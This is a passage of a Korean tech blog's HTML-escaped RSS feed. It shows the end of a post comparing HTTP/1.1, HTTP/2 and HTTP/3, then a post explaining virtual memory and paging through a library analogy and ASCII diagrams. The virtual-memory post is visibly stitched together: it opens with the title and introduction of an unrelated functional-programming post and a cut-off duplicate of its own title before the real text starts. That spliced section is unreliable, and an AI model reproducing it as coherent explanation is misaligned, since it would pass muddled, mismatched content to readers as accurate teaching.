/&gt;|&amp;nbsp;:---&amp;nbsp;|&amp;nbsp;:---&amp;nbsp;|&amp;nbsp;:---&amp;nbsp;|&amp;nbsp;:---&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**전송&amp;nbsp;계층**&amp;nbsp;|&amp;nbsp;TCP&amp;nbsp;|&amp;nbsp;TCP&amp;nbsp;|&amp;nbsp;**UDP&amp;nbsp;(QUIC)**&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**데이터&amp;nbsp;형식**&amp;nbsp;|&amp;nbsp;텍스트(Plain&amp;nbsp;Text)&amp;nbsp;|&amp;nbsp;바이너리&amp;nbsp;프레임&amp;nbsp;|&amp;nbsp;바이너리&amp;nbsp;프레임&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**동시&amp;nbsp;다중화**&amp;nbsp;|&amp;nbsp;불가&amp;nbsp;(6개&amp;nbsp;커넥션&amp;nbsp;꼼수)&amp;nbsp;|&amp;nbsp;**멀티플렉싱&amp;nbsp;(Stream)**&amp;nbsp;|&amp;nbsp;**독립적&amp;nbsp;멀티플렉싱**&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**HOL&amp;nbsp;블로킹**&amp;nbsp;|&amp;nbsp;애플리케이션&amp;nbsp;수준&amp;nbsp;발생&amp;nbsp;|&amp;nbsp;전송(TCP)&amp;nbsp;수준&amp;nbsp;발생&amp;nbsp;|&amp;nbsp;**원천&amp;nbsp;박멸&amp;nbsp;(발생&amp;nbsp;안&amp;nbsp;함)**&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**핸드셰이크&amp;nbsp;지연**|&amp;nbsp;높음&amp;nbsp;(TCP&amp;nbsp;+&amp;nbsp;TLS&amp;nbsp;별도)&amp;nbsp;|&amp;nbsp;보통&amp;nbsp;(TLS&amp;nbsp;통합&amp;nbsp;개선)&amp;nbsp;|&amp;nbsp;**초고속&amp;nbsp;(0-RTT&amp;nbsp;/&amp;nbsp;1-RTT)**&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**헤더&amp;nbsp;압축**&amp;nbsp;|&amp;nbsp;지원&amp;nbsp;안&amp;nbsp;함&amp;nbsp;|&amp;nbsp;HPACK&amp;nbsp;|&amp;nbsp;**QPACK**&amp;nbsp;| &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;3줄&amp;nbsp;핵심&amp;nbsp;요약 &lt;br /&gt;&lt;br /&gt;1.&amp;nbsp;**HTTP/1.1**은&amp;nbsp;한&amp;nbsp;번에&amp;nbsp;한&amp;nbsp;파일씩&amp;nbsp;순서대로&amp;nbsp;받아야&amp;nbsp;하는&amp;nbsp;도로&amp;nbsp;병목(HOL&amp;nbsp;블로킹)&amp;nbsp;때문에&amp;nbsp;현대의&amp;nbsp;무거운&amp;nbsp;웹사이트에서&amp;nbsp;속도&amp;nbsp;저하가&amp;nbsp;심했다. &lt;br /&gt;2.&amp;nbsp;**HTTP/2**는&amp;nbsp;데이터를&amp;nbsp;잘게&amp;nbsp;쪼개&amp;nbsp;하나의&amp;nbsp;파이프로&amp;nbsp;동시에&amp;nbsp;주고받는&amp;nbsp;**멀티플렉싱**을&amp;nbsp;도입하여&amp;nbsp;웹&amp;nbsp;속도를&amp;nbsp;극적으로&amp;nbsp;끌어올렸다. &lt;br /&gt;3.&amp;nbsp;**HTTP/3**는&amp;nbsp;TCP의&amp;nbsp;한계를&amp;nbsp;극복하기&amp;nbsp;위해&amp;nbsp;**UDP&amp;nbsp;기반의&amp;nbsp;QUIC**을&amp;nbsp;도입하여&amp;nbsp;패킷&amp;nbsp;손실&amp;nbsp;지연을&amp;nbsp;없애고&amp;nbsp;0-RTT&amp;nbsp;초고속&amp;nbsp;연결을&amp;nbsp;완성했다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;다음&amp;nbsp;편&amp;nbsp;예고 &lt;br /&gt;&lt;br /&gt;웹&amp;nbsp;브라우저가&amp;nbsp;화면을&amp;nbsp;빠르게&amp;nbsp;띄우기&amp;nbsp;위해&amp;nbsp;통신&amp;nbsp;규격을&amp;nbsp;갈고닦았다면,&amp;nbsp;그&amp;nbsp;요청을&amp;nbsp;받아&amp;nbsp;수억&amp;nbsp;명의&amp;nbsp;데이터를&amp;nbsp;처리하는&amp;nbsp;백엔드&amp;nbsp;서버는&amp;nbsp;어떤&amp;nbsp;구조로&amp;nbsp;진화했을까요? &lt;br /&gt;&lt;br /&gt;다음&amp;nbsp;편에서는&amp;nbsp;하나의&amp;nbsp;거대한&amp;nbsp;통짜&amp;nbsp;성벽을&amp;nbsp;허물고&amp;nbsp;수백&amp;nbsp;개의&amp;nbsp;작은&amp;nbsp;전문&amp;nbsp;점포로&amp;nbsp;나눈&amp;nbsp;현대&amp;nbsp;엔터프라이즈의&amp;nbsp;핵심&amp;nbsp;아키텍처,&amp;nbsp;**[모놀리식&amp;nbsp;vs&amp;nbsp;마이크로서비스(MSA)&amp;nbsp;-&amp;nbsp;배달의민족과&amp;nbsp;넷플릭스는&amp;nbsp;왜&amp;nbsp;시스템을&amp;nbsp;쪼갰을까?]**를&amp;nbsp;생생한&amp;nbsp;비유로&amp;nbsp;정리해&amp;nbsp;드리겠습니다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>네트워크 &amp;amp; 웹 통신 기술</category>
      <category>http2</category>
      <category>http3</category>
      <category>QUIC</category>
      <category>TCP</category>
      <category>UDP</category>
      <category>개발기초</category>
      <category>네트워크</category>
      <category>웹기술</category>
      <category>웹성능</category>
      <category>핸드셰이크</category>
      <author>arthurdaddy</author>
      <guid isPermaLink="true">https://softwin.tistory.com/86</guid>
      <comments>https://softwin.tistory.com/86#entry86comment</comments>
      <pubDate>Wed, 14 Oct 2026 23:27:37 +0900</pubDate>
    </item>
    <item>
      <title>가상 메모리(Virtual Memory)와 페이징 - 16GB 램으로 어떻게 50GB 게임을 돌릴까?</title>
      <link>https://softwin.tistory.com/85</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;#&amp;nbsp;함수형&amp;nbsp;프로그래밍(FP)이란&amp;nbsp;무엇인가?&amp;nbsp;-&amp;nbsp;왜&amp;nbsp;현대&amp;nbsp;개발자들은&amp;nbsp;불변성과&amp;nbsp;순수&amp;nbsp;함수에&amp;nbsp;열광할까? &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;들어가며&amp;nbsp;-&amp;nbsp;객체지향의&amp;nbsp;세상에서&amp;nbsp;마주친&amp;nbsp;'변화의&amp;nbsp;악몽' &lt;br /&gt;&lt;br /&gt;지난&amp;nbsp;글에서&amp;nbsp;우리는&amp;nbsp;소프트웨어를&amp;nbsp;독립된&amp;nbsp;부품(객체)으로&amp;nbsp;조립하여&amp;nbsp;거대한&amp;nbsp;시스템을&amp;nbsp;설계하는&amp;nbsp;**객체지향&amp;nbsp;프로그래밍(OOP)**의&amp;nbsp;핵심&amp;nbsp;원리를&amp;nbsp;살펴보았습니다.&amp;nbsp;붕어빵틀(클래스)로&amp;nbsp;찍어낸&amp;nbsp;붕어빵(객체)들이&amp;nbsp;서로&amp;nbsp;메시지를&amp;nbsp;주고받으며&amp;nbsp;협력하는&amp;nbsp;구조는&amp;nbsp;현대&amp;nbsp;프로그래밍의&amp;nbsp;표준으로&amp;nbsp;자리&amp;nbsp;잡았죠. &lt;br /&gt;&lt;br /&gt;하지만&amp;nbsp;소프트웨어의&amp;nbsp;규모가&amp;nbsp;수억&amp;nbsp;명이&amp;nbsp;쓰는&amp;nbsp;글로벌&amp;nbsp;서비스로&amp;nbsp;커지고,&amp;nbsp;CPU&amp;nbsp;코어가&amp;nbsp;수십&amp;nbsp;개로&amp;nbsp;늘어난&amp;nbsp;**멀티스레드(동시성)&amp;nbsp;시대**가&amp;nbsp;도래하면서&amp;nbsp;개발자들은&amp;nbsp;전혀&amp;nbsp;예상치&amp;nbsp;못한&amp;nbsp;새로운&amp;nbsp;악몽과&amp;nbsp;마주치게&amp;nbsp;되었습니다. &lt;br /&gt;&lt;br /&gt;바로&amp;nbsp;**&quot;누군가&amp;nbsp;몰래&amp;nbsp;바꾼&amp;nbsp;데이터(Shared&amp;nbsp;Mutable&amp;nbsp;State)&quot;**&amp;nbsp;때문에&amp;nbsp;생기는&amp;nbsp;치명적인&amp;nbsp;버그였습니다. &lt;br /&gt;#&amp;nbsp;가상&amp;nbsp;메모리(Virtual&amp;nbsp;Memory)와&amp;nbsp;페이징&amp;nbsp;-&amp;nbsp;16GB&amp;nbsp;램으로&amp;nbsp;어떻게 #&amp;nbsp;가상&amp;nbsp;메모리(Virtual&amp;nbsp;Memory)와&amp;nbsp;페이징&amp;nbsp;-&amp;nbsp;16GB&amp;nbsp;램으로&amp;nbsp;어떻게&amp;nbsp;50GB&amp;nbsp;게임을&amp;nbsp;돌릴까? &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;들어가며&amp;nbsp;-&amp;nbsp;16GB&amp;nbsp;컴퓨터에서&amp;nbsp;50GB&amp;nbsp;게임이&amp;nbsp;실행되는&amp;nbsp;마법 &lt;br /&gt;&lt;br /&gt;지난&amp;nbsp;글에서&amp;nbsp;우리는&amp;nbsp;컴퓨터가&amp;nbsp;여러&amp;nbsp;프로그램을&amp;nbsp;동시에&amp;nbsp;실행하기&amp;nbsp;위해&amp;nbsp;독립된&amp;nbsp;실행&amp;nbsp;단위인&amp;nbsp;**프로세스(Process)**와&amp;nbsp;작업&amp;nbsp;단위인&amp;nbsp;**스레드(Thread)**를&amp;nbsp;운영체제(OS)가&amp;nbsp;어떻게&amp;nbsp;스케줄링하는지&amp;nbsp;알아보았습니다.&amp;nbsp; &lt;br /&gt;&lt;br /&gt;모든&amp;nbsp;프로그램은&amp;nbsp;실행되기&amp;nbsp;위해&amp;nbsp;반드시&amp;nbsp;주기억장치인&amp;nbsp;**RAM(메모리)**에&amp;nbsp;올라가야&amp;nbsp;합니다.&amp;nbsp;그런데&amp;nbsp;여기서&amp;nbsp;한&amp;nbsp;가지&amp;nbsp;거대한&amp;nbsp;의문이&amp;nbsp;생깁니다. &lt;br /&gt;&lt;br /&gt;&amp;gt;&amp;nbsp;**&quot;내&amp;nbsp;컴퓨터의&amp;nbsp;실제&amp;nbsp;RAM&amp;nbsp;용량은&amp;nbsp;16GB뿐인데,&amp;nbsp;어떻게&amp;nbsp;50GB가&amp;nbsp;넘는&amp;nbsp;고사양&amp;nbsp;3D&amp;nbsp;게임을&amp;nbsp;켜두고&amp;nbsp;웹&amp;nbsp;브라우저&amp;nbsp;탭을&amp;nbsp;30개씩&amp;nbsp;띄워도&amp;nbsp;컴퓨터가&amp;nbsp;다운되지&amp;nbsp;않고&amp;nbsp;돌아갈까?&quot;** &lt;br /&gt;&lt;br /&gt;과거의&amp;nbsp;초기&amp;nbsp;컴퓨터였다면&amp;nbsp;이는&amp;nbsp;물리적으로&amp;nbsp;불가능했습니다.&amp;nbsp;16GB&amp;nbsp;메모리에&amp;nbsp;50GB짜리&amp;nbsp;프로그램을&amp;nbsp;올리려고&amp;nbsp;하면&amp;nbsp;&quot;메모리&amp;nbsp;부족(Out&amp;nbsp;of&amp;nbsp;Memory)&quot;&amp;nbsp;에러를&amp;nbsp;뿜으며&amp;nbsp;컴퓨터가&amp;nbsp;즉시&amp;nbsp;멈춰&amp;nbsp;섰습니다. &lt;br /&gt;&lt;br /&gt;하지만&amp;nbsp;오늘날&amp;nbsp;우리는&amp;nbsp;아무런&amp;nbsp;걱정&amp;nbsp;없이&amp;nbsp;수십&amp;nbsp;기가바이트의&amp;nbsp;거대한&amp;nbsp;소프트웨어를&amp;nbsp;실행합니다.&amp;nbsp;심지어&amp;nbsp;각&amp;nbsp;프로그램은&amp;nbsp;자기가&amp;nbsp;컴퓨터&amp;nbsp;메모리&amp;nbsp;전체(수&amp;nbsp;테라바이트)를&amp;nbsp;혼자서&amp;nbsp;독차지하고&amp;nbsp;있는&amp;nbsp;것처럼&amp;nbsp;착각하며&amp;nbsp;동작합니다. &lt;br /&gt;&lt;br /&gt;이&amp;nbsp;놀라운&amp;nbsp;마법을&amp;nbsp;가능하게&amp;nbsp;만든&amp;nbsp;현대&amp;nbsp;컴퓨터&amp;nbsp;공학의&amp;nbsp;최고&amp;nbsp;걸작,&amp;nbsp;바로&amp;nbsp;**가상&amp;nbsp;메모리(Virtual&amp;nbsp;Memory)**와&amp;nbsp;**페이징(Paging)**&amp;nbsp;기법입니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;1.&amp;nbsp;가상&amp;nbsp;메모리의&amp;nbsp;일상&amp;nbsp;비유:&amp;nbsp;'도서관&amp;nbsp;책상'과&amp;nbsp;'지하&amp;nbsp;서고' &lt;br /&gt;&lt;br /&gt;가상&amp;nbsp;메모리의&amp;nbsp;작동&amp;nbsp;원리를&amp;nbsp;가장&amp;nbsp;직관적으로&amp;nbsp;이해하는&amp;nbsp;방법은&amp;nbsp;**거대한&amp;nbsp;국립&amp;nbsp;도서관**을&amp;nbsp;떠올리는&amp;nbsp;것입니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;+---------------------------------------------------------------+ &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[&amp;nbsp;국립&amp;nbsp;도서관&amp;nbsp;비유&amp;nbsp;]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;1,000페이지짜리&amp;nbsp;백과사전&amp;nbsp;(50GB&amp;nbsp;대형&amp;nbsp;프로그램&amp;nbsp;/&amp;nbsp;SSD&amp;nbsp;저장)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;│&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[당장&amp;nbsp;읽을&amp;nbsp;5페이지만&amp;nbsp;골라&amp;nbsp;책상에&amp;nbsp;펼침]&amp;nbsp;(Paging)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;▼&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;연구원의&amp;nbsp;1인용&amp;nbsp;작은&amp;nbsp;책상&amp;nbsp;(16GB&amp;nbsp;실제&amp;nbsp;물리&amp;nbsp;RAM)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;nbsp;책상이&amp;nbsp;좁아도&amp;nbsp;당장&amp;nbsp;필요한&amp;nbsp;페이지만&amp;nbsp;올려두면&amp;nbsp;연구&amp;nbsp;가능!&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;nbsp;다른&amp;nbsp;페이지가&amp;nbsp;필요하면?&amp;nbsp;➔&amp;nbsp;책상&amp;nbsp;위&amp;nbsp;안&amp;nbsp;보는&amp;nbsp;책을&amp;nbsp;서고로&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;보내고&amp;nbsp;새&amp;nbsp;페이지를&amp;nbsp;가져옴&amp;nbsp;(Page&amp;nbsp;Swap&amp;nbsp;&amp;amp;&amp;nbsp;Page&amp;nbsp;Fault)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;+---------------------------------------------------------------+ &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;*&amp;nbsp;**보조기억장치&amp;nbsp;(SSD&amp;nbsp;/&amp;nbsp;HDD)**:&amp;nbsp;수백만&amp;nbsp;권의&amp;nbsp;책을&amp;nbsp;영구&amp;nbsp;보관할&amp;nbsp;수&amp;nbsp;있는&amp;nbsp;넓디넓은&amp;nbsp;**지하&amp;nbsp;서고**입니다.&amp;nbsp;용량은&amp;nbsp;엄청나게&amp;nbsp;크지만,&amp;nbsp;지하까지&amp;nbsp;내려가서&amp;nbsp;책을&amp;nbsp;찾아오는&amp;nbsp;데&amp;nbsp;시간이&amp;nbsp;오래&amp;nbsp;걸립니다. &lt;br /&gt;*&amp;nbsp;**주기억장치&amp;nbsp;(물리&amp;nbsp;RAM)**:&amp;nbsp;연구원이&amp;nbsp;지금&amp;nbsp;당장&amp;nbsp;앉아서&amp;nbsp;책을&amp;nbsp;펼쳐놓고&amp;nbsp;읽는&amp;nbsp;**연구실&amp;nbsp;책상**입니다.&amp;nbsp;손만&amp;nbsp;뻗으면&amp;nbsp;바로&amp;nbsp;읽을&amp;nbsp;수&amp;nbsp;있어&amp;nbsp;엄청나게&amp;nbsp;빠르지만,&amp;nbsp;책상&amp;nbsp;면적이&amp;nbsp;좁아서&amp;nbsp;책&amp;nbsp;몇&amp;nbsp;권만&amp;nbsp;올려도&amp;nbsp;꽉&amp;nbsp;찹니다. &lt;br /&gt;&lt;br /&gt;50GB짜리&amp;nbsp;대형&amp;nbsp;게임을&amp;nbsp;실행한다고&amp;nbsp;해서,&amp;nbsp;**그&amp;nbsp;게임의&amp;nbsp;모든&amp;nbsp;그래픽&amp;nbsp;데이터와&amp;nbsp;음악,&amp;nbsp;맵&amp;nbsp;전체를&amp;nbsp;1초&amp;nbsp;만에&amp;nbsp;전부&amp;nbsp;다&amp;nbsp;읽을&amp;nbsp;필요는&amp;nbsp;없습니다.** &lt;br /&gt;지금&amp;nbsp;플레이어가&amp;nbsp;위치한&amp;nbsp;'마을&amp;nbsp;맵'과&amp;nbsp;'주인공&amp;nbsp;캐릭터&amp;nbsp;데이터'&amp;nbsp;단&amp;nbsp;몇&amp;nbsp;백&amp;nbsp;메가바이트만&amp;nbsp;당장&amp;nbsp;책상(RAM)&amp;nbsp;위에&amp;nbsp;올려두고,&amp;nbsp;아직&amp;nbsp;가보지도&amp;nbsp;않은&amp;nbsp;'최종&amp;nbsp;보스&amp;nbsp;던전&amp;nbsp;맵'은&amp;nbsp;지하&amp;nbsp;서고(SSD)에&amp;nbsp;잠시&amp;nbsp;놓아두면&amp;nbsp;됩니다. &lt;br /&gt;&lt;br /&gt;이처럼&amp;nbsp;**&quot;프로그램에게는&amp;nbsp;무한대에&amp;nbsp;가까운&amp;nbsp;가상의&amp;nbsp;넓은&amp;nbsp;방(가상&amp;nbsp;메모리)을&amp;nbsp;제공하고,&amp;nbsp;실제로는&amp;nbsp;지금&amp;nbsp;당장&amp;nbsp;필요한&amp;nbsp;조각만&amp;nbsp;물리&amp;nbsp;RAM에&amp;nbsp;올렸다&amp;nbsp;내렸다&amp;nbsp;하는&amp;nbsp;영리한&amp;nbsp;기술&quot;**이&amp;nbsp;가상&amp;nbsp;메모리의&amp;nbsp;핵심입니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;2.&amp;nbsp;페이징(Paging)&amp;nbsp;-&amp;nbsp;프로그램을&amp;nbsp;규격화된&amp;nbsp;책&amp;nbsp;페이지로&amp;nbsp;쪼개다 &lt;br /&gt;&lt;br /&gt;그렇다면&amp;nbsp;운영체제는&amp;nbsp;거대한&amp;nbsp;프로그램을&amp;nbsp;어떻게&amp;nbsp;메모리에&amp;nbsp;효율적으로&amp;nbsp;나누어&amp;nbsp;담을까요? &lt;br /&gt;&lt;br /&gt;과거에는&amp;nbsp;프로그램&amp;nbsp;덩어리&amp;nbsp;전체를&amp;nbsp;통째로&amp;nbsp;연속된&amp;nbsp;메모리&amp;nbsp;공간에&amp;nbsp;집어넣으려고&amp;nbsp;했습니다.&amp;nbsp;이를&amp;nbsp;'연속&amp;nbsp;메모리&amp;nbsp;할당'이라고&amp;nbsp;불렀는데,&amp;nbsp;프로그램을&amp;nbsp;넣고&amp;nbsp;빼는&amp;nbsp;과정에서&amp;nbsp;메모리&amp;nbsp;사이에&amp;nbsp;자투리&amp;nbsp;빈&amp;nbsp;공간(외부&amp;nbsp;단편화)이&amp;nbsp;생겨&amp;nbsp;심각한&amp;nbsp;메모리&amp;nbsp;낭비가&amp;nbsp;발생했습니다. &lt;br /&gt;&lt;br /&gt;현대&amp;nbsp;운영체제는&amp;nbsp;이&amp;nbsp;문제를&amp;nbsp;**페이징(Paging)**&amp;nbsp;기법으로&amp;nbsp;완벽히&amp;nbsp;해결했습니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;[&amp;nbsp;가상&amp;nbsp;메모리&amp;nbsp;공간&amp;nbsp;(가상&amp;nbsp;주소)&amp;nbsp;]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[&amp;nbsp;실제&amp;nbsp;물리&amp;nbsp;RAM&amp;nbsp;(물리&amp;nbsp;주소)&amp;nbsp;] &lt;br /&gt;+----------------------------+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;+-------------------------+ &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Page&amp;nbsp;0&amp;nbsp;(4KB)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;───┐&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;Frame&amp;nbsp;2&amp;nbsp;(물리&amp;nbsp;RAM&amp;nbsp;일부)| &lt;br /&gt;+----------------------------+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;│&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;+-------------------------+ &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Page&amp;nbsp;1&amp;nbsp;(4KB)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;───┼───&amp;gt;&amp;nbsp;|&amp;nbsp;&amp;nbsp;Frame&amp;nbsp;0&amp;nbsp;(Page&amp;nbsp;0&amp;nbsp;적재)&amp;nbsp;&amp;nbsp;| &lt;br /&gt;+----------------------------+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;│&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;+-------------------------+ &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Page&amp;nbsp;2&amp;nbsp;(4KB)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;───┼───&amp;gt;&amp;nbsp;|&amp;nbsp;&amp;nbsp;Frame&amp;nbsp;5&amp;nbsp;(Page&amp;nbsp;2&amp;nbsp;적재)&amp;nbsp;&amp;nbsp;| &lt;br /&gt;+----------------------------+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;│&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;+-------------------------+ &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Page&amp;nbsp;3&amp;nbsp;(4KB)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;───┘&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;(비어있거나&amp;nbsp;다른&amp;nbsp;앱)&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;+----------------------------+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;+-------------------------+ &lt;br 